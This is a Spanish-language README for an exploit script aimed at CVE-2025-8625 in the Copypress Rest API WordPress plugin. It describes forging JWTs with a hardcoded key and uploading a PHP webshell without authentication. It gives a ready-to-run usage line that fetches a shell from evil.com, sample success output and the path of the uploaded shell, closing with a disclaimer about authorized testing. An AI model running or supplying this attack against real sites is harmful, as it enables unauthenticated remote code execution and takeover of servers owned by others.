
Copypress Rest API 1.1 - 1.2 - Falta de secreto JWT configurable y validación de tipo de archivo que conduce a ejecución remota de código no autenticada
Copypress Rest API 1.1 - 1.2 - Secreto JWT configurable omitido y validación de tipo de archivo ausente que permiten ejecución remota de código no autenticada
El plugin Copypress Rest API para WordPress (versiones 1.1 a 1.2) es vulnerable a Ejecución Remota de Código a través de la función copyreap_handle_image().
El plugin utiliza una clave de firma JWT hardcodeada cuando no se establece ningún secreto y no valida los tipos de archivo, lo que permite a atacantes no autenticados falsificar tokens y subir archivos arbitrarios (como shells PHP) a través del endpoint del manejador de imágenes.
Nombre del script: CVE-2025-8625.py
Este script de Python automatiza la explotación de la vulnerabilidad, permitiéndote generar un JWT válido, enviar una solicitud manipulada y subir un archivo malicioso (webshell) al sitio WordPress vulnerable.
python CVE-2025-8625.py -u https://target.com -shell https://evil.com/shell.php
-u / --url: URL del sitio WordPress objetivo-shell / --shell: Enlace directo a tu webshell o archivo PHP maliciosoEjemplo de salida:
JWT: eyJ0eXAiOiJKV1QiLCJhbGciOi...
HTTP 201: {"created":true,"id":123,"message":"Success"}
Exploit success! Check your shell upload.
¡Shell subido con éxito! 🎉
Ejemplo de ruta del shell:
https://target.com/wp-content/uploads/2025/10/shell.php
Esta herramienta es solo para fines de pruebas de penetración educativas y autorizadas.
El uso contra objetivos sin permiso explícito es ilegal.
Por: Nxploited (Khaled Alenazi)